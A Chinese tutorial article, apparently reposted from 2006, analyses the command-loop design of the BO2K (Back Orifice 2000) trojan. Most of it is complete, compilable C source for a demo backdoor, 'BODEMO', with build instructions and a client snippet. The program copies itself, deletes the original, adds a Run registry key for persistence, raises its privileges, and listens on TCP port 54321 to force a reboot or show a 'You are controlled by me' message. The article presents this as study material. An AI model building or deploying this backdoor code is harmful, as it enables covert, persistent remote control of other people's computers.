分享
 
 
 

BO2k源码分析(二)----命令循环机制

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

BO2K服务器命令循环机制原理

上期讲到BO2K服务器特洛伊木马的实现原理,即首先建立自身拷贝版,以自身全路径名为参数启动拷贝版,自身结束。拷贝版运行时首先删除原来的程序(根据传进来的参数删)。而后检查注册表,如果还没注册则注册拷贝版程序为系统启动时自启动。特洛伊木马过程完成。

之后,接着初始化命令数组,建立侦听端口,进入命令循环。(这些都是Entrypoint()函数的工作)。这一期再来讲命令循环机制。

注1:这一期的BODEMO有完整的特洛伊木马实现,还有一个完整的命令循环。不过,只做了两个命令,0号命令和1号命令。但对于演示命令循环原理我想是够了。0号命令会使服务器端机器重启动(已具黑客雏形了),1号命令会在服务器端机器弹出个MessageBox。

注2:关于BODEMO的编译,任何WINDOWS的C编译器都能很容易的编译通过,无须任何设置,不过注意连上链接库wsock32.lib。如果用VC,创建一纯空的WIN32 APP,将下面所附代码粘贴过去即可。如果用LCC,编译结果只有10K大小。

注3:这个BODEMO去掉了错误检查代码,因此离实用差了一大截。拿出来仅供学习用,希望诸君打好基础共同发展中国软件业。若有什么问题,mail to:saiwai76@263.net

话入正题,Entrypoint()执行过程如下:

1 初始化命令数组(command_handler_table),即分配一块内存存放命令,缺省情况最多可有1024个命令,初始化命令为NULL。

每个命令的结构是这样的:命令ID号,一个函数指针,若干参数。因此,BO大体是这样执行的:侦听端口,接收客户数据包,从数据包中提取出命令ID和参数,根据ID到命令数组查找命令,执行命令指针所指函数,并向客户返回结果信息。BODEMO基本上就是这样的。不过,实际的BO2K中同时支持UDP和TCP,并支持数据包加密。因此,比这个过程复杂得多。下期的BO网络原理中我再来讲这些。

2 注册命令(RegisterNativeCommands()),这一步建立一个侦听SOCKET,登记命令函数到命令数组。BODEMO只登记了两个命令函数,仅作演示。有兴趣者可自己再写些命令函数。

3 进入命令循环(CommandHandlerLoop()),这一步侦听客户控制命令,分派命令。在BODEMO中,如果接收到0,则执行0号命令(重起机器),如果接收到1,则执行1号命令(空MessageBox())。

请注意这段代码中动态调整进程优先级,这和MFC之CWinThread::Run()有异曲同工之妙。

在客户端用如下一段代码即可给BODEMO发命令。

SOCKET ss;

ss = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in sa; memset(&sa, 0, sizeof(struct sockaddr_in));

sa.sin_family= AF_INET; sa.sin_port= htons(54321);

sa.sin_addr.S_un.S_addr= inet_addr("xxx.xxx.xxx.xxx"); /*Server’s IP address*/

int ret = connect(ss,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in));

if(SOCKET_ERROR == ret)

{ closesocket(ss); return ; }

int boPacket[10];

boPacket[0] = 1; /*Command ID, 0 or 1. */

send(ss,(char *)boPacket,sizeof(int)*10,MSG_OOB);

附BODEMO源码:

//

#include <windows.h>

#include<winsock.h>

/******************global variable*******************************/

BOOL g_bIsWinNT;

/******************global variable*******************************/

void GetOSVersion(void);

int InitializeCommandDispatcher(void);

void InitializeCommands(void);

void TerminateCommands(void);

int KillCommandDispatcher(void);

void CommandHandlerLoop(void);

DWORD WINAPI EntryPoint(LPVOID lpParameter)

{

InitializeCommandDispatcher();

//Alloc memory for command_handler_table and

//command_description_table

//Initialize them as NULL

// Initialize commands

InitializeCommands();

// Do Primary Command Loop

CommandHandlerLoop();

// Kill plugins

TerminateCommands();

// Kill Command Dispatcher

//Delete command_table memory

KillCommandDispatcher();

return 0;

}

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow )

{

GetOSVersion();

int nInstall=0;

char *svRunRegKey;

svRunRegKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

// Check for file to delete

//第一次运行BO2K时,BO会以自身全路径名作为参数启动BO拷贝版

//BO拷贝版根据这个参数删除BO自身。

//这段代码只有一次运行机会。

char *svCmdLine=GetCommandLine();

while(svCmdLine[0]!='\0')

{

svCmdLine++;

if((*(svCmdLine-1))==' ') break;

}

if(svCmdLine[0]!='\0') //找到了要删除的文件,删除之

{

while(DeleteFile(svCmdLine)==0)

{

if(GetLastError()==ERROR_FILE_NOT_FOUND) break;

Sleep(100);

}

}

// Get current module location

char svFileName[512];

char svTargetName[MAX_PATH];

GetModuleFileName(GetModuleHandle(NULL),svFileName,512);

lstrcpy(svTargetName,"C:\\Bodemo.exe");

// ----- 1: Check for installation -----

if(GetFileAttributes(svTargetName) != 0xFFFFFFFF)

nInstall=1;

//

if(nInstall == 0) //还没安装BO..., 只在第一次运行BO时会出现此情况

{

// Make copy of file

while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep(1000);

//Set startup key

//将BO注册为系统启动时自启动。

HKEY key;

if(g_bIsWinNT)

{

if(RegOpenKey(HKEY_CURRENT_USER,svRunRegKey,&key)==ERROR_SUCCESS)

{

RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName,

lstrlen(svTargetName));

RegCloseKey(key);

}

}

else

{

if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS)

{

RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName,

lstrlen(svTargetName));

RegCloseKey(key);

}

}

// And now run the copy,

//注意,以自身全路径名为参数启动BO拷贝版

STARTUPINFO si;

PROCESS_INFORMATION pi;

char svComLine[2048];

lstrcpyn(svComLine,svTargetName,2048);

lstrcpyn(svComLine+lstrlen(svComLine)," ",2048-lstrlen(svComLine));

lstrcpyn(svComLine+lstrlen(svComLine),svFileName,2048-lstrlen(svComLine));

memset(&si,0,sizeof(STARTUPINFO));

si.cb=sizeof(STARTUPINFO);

si.dwFlags=STARTF_FORCEOFFFEEDBACK;

CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);

}

else //已安装BO...,除第一次运行BO外,都是这种情况。

{

// Enable permissions on Windows NT

if(g_bIsWinNT)

{

HANDLE tok; //调整权限,否则无重起机器权限

if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok))

{

LUID luid;

TOKEN_PRIVILEGES tp;

LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);

tp.PrivilegeCount=1;

tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

tp.Privileges[0].Luid=luid;

AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);

LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);

tp.PrivilegeCount=1;

tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

tp.Privileges[0].Luid=luid;

AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);

CloseHandle(tok);

}

}

//进入命令循环

EntryPoint(GetModuleHandle(NULL));

}

return 0;

}

// Determine Operating System Version

void GetOSVersion(void)

{

OSVERSIONINFO osvi;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

if(GetVersionEx(&osvi)==FALSE) {

MessageBox( HWND_DESKTOP, "Unable to get version info", "GetOSVersion()", MB_OK );

}

if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) {

MessageBox( HWND_DESKTOP, "This application does not run under WIN32s!", "Error", MB_OK );

}

if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)

g_bIsWinNT = 1;

else

g_bIsWinNT = 0;

}

/************Bo command process *****/ //本期重点所在

#define MAX_BO_COMMANDS 1024

typedef int (*BO_CMD_HANDLER)(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3);

typedef struct {

BOOL bNativeComm;

char *svFolderName;

char *svCommName;

char *svArgDesc1;

char *svArgDesc2;

char *svArgDesc3;

} BO_CMD_DESC;

BO_CMD_HANDLER *command_handler_table=NULL;

BO_CMD_DESC *command_description_table=NULL;

HANDLE g_hDispatchMutex=NULL;

int InitializeCommandDispatcher(void)

{

int i;

command_handler_table=

(BO_CMD_HANDLER *)malloc(sizeof(BO_CMD_HANDLER)*MAX_BO_COMMANDS);

if(command_handler_table==NULL) return -1;

command_description_table=(BO_CMD_DESC *)

malloc(sizeof(BO_CMD_DESC)*MAX_BO_COMMANDS);

if(command_description_table==NULL) return -1;

for(i=0;i<MAX_BO_COMMANDS;i++)

command_handler_table[i]=NULL;

g_hDispatchMutex=CreateMutex(NULL,FALSE,NULL);

if(g_hDispatchMutex==NULL) return -1;

return 0;

}

//

static DWORD WINAPI MBThread(LPVOID parm)

{

char *svText = (char *) parm;

char *svMsg,*svTitle;

svMsg=svText;

svTitle=svText+lstrlen(svMsg)+1;

MessageBox(GetDesktopWindow(),svMsg,svTitle,MB_OK | MB_SETFOREGROUND | MB_SYSTEMMODAL);

free(parm);

return 0;

}

int CmdProc_SysMessageBox(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3)

{

char *ptr;

int msglen;

DWORD tid;

msglen=lstrlen(svArg3)+lstrlen(svArg2)+2;

ptr=(char *) malloc(msglen);

lstrcpy(ptr,svArg3);

lstrcpy(ptr+lstrlen(svArg3)+1,svArg2);

CreateThread(NULL,0,MBThread,ptr,0,&tid);

return 0;

}

int CmdProc_SysReboot(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3)

{

BOOL bRet;

bRet=ExitWindowsEx(EWX_FORCE| EWX_REBOOT, 0);

return 0;

}

void RegisterNativeCommands()

{

//RegisterNativeCommand(BO_SYSREBOOT,CmdProc_SysReboot);

//RegisterNativeCommand(BO_SYSLOGKEYS,CmdProc_SysLogKeys);

INT command = 0;

command_handler_table[command]=CmdProc_SysReboot;

command_description_table[command].svCommName="";

command_description_table[command].svFolderName="";

command_description_table[command].svArgDesc1="";

command_description_table[command].svArgDesc2="";

command_description_table[command].svArgDesc3="";

command_description_table[command].bNativeComm=TRUE;

//

command++;

command_handler_table[command]=CmdProc_SysMessageBox;

command_description_table[command].svCommName="";

command_description_table[command].svFolderName="";

command_description_table[command].svArgDesc1="";

command_description_table[command].svArgDesc2="Bodemo";

command_description_table[command].svArgDesc3="You are controlled by me";

command_description_table[command].bNativeComm=TRUE;

}

//

SOCKET s;

void InitializeCommands(void)

{

WSADATA wsaData;

if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return;

// Register Native BO Commands

RegisterNativeCommands();

struct sockaddr_in sa;

memset(&sa,0,sizeof(struct sockaddr_in));;

sa.sin_family= AF_INET;

sa.sin_port= htons(54321);

sa.sin_addr.S_un.S_addr=INADDR_ANY;

if((s= socket(AF_INET, SOCK_STREAM, 0)) < 0)

return;

if(bind(s,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in)) < 0)

{

closesocket(s);

return ; /* bind address to socket */

}

listen(s,3);

}

int DispatchCommand(int command,SOCKET s, int comid, int nArg1,

char *svArg2,char *svArg3);

void CommandHandlerLoop(void)

{

BOOL bIdle=FALSE;

struct sockaddr sa;

memset(&sa,0,sizeof(struct sockaddr));

int len = sizeof(struct sockaddr);

int command,comid,nArg1;

char *svArg2,*svArg3;

char *boPacket;

while(1)

{

if(!bIdle)

{

SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);

SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_IDLE);

bIdle=TRUE;

}

SOCKET acc=accept(s,&sa,&len);

if(acc == INVALID_SOCKET)continue;

if(bIdle)

{

SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);

SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);

bIdle=FALSE;

unsigned long ll;

ioctlsocket(acc,FIONREAD,&ll);

if(ll>0)

{

boPacket = (char*)malloc(ll+1);

recv(acc,boPacket,ll,MSG_PEEK);

int*p = (int *)boPacket;

command=p[0];

comid = 0;

nArg1 = 0;

svArg2="";

svArg3="";

DispatchCommand(command,acc,comid,nArg1,svArg2,svArg3);

free(boPacket);

closesocket(acc);

}

else

closesocket(acc);

}

Sleep(20);

}

}

void TerminateCommands(void)

{

closesocket(s);

WSACleanup();

}

int KillCommandDispatcher(void)

{

CloseHandle(g_hDispatchMutex);

if(command_handler_table) free(command_handler_table);

if(command_description_table) free(command_description_table);

return 0;

}

int DispatchCommand(int command,SOCKET s, int comid, int nArg1, char *svArg2, char *svArg3)

{

BO_CMD_HANDLER handler;

if(command<0 || command >= MAX_BO_COMMANDS)return -1;

int ret;

if(WaitForSingleObject(g_hDispatchMutex,INFINITE)!=WAIT_OBJECT_0)

return -1;

handler=command_handler_table[command];

if(handler==NULL)

{

ReleaseMutex(g_hDispatchMutex);

return -1;

}

ret=handler(s, comid, nArg1, svArg2, svArg3);

ReleaseMutex(g_hDispatchMutex);

return ret;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有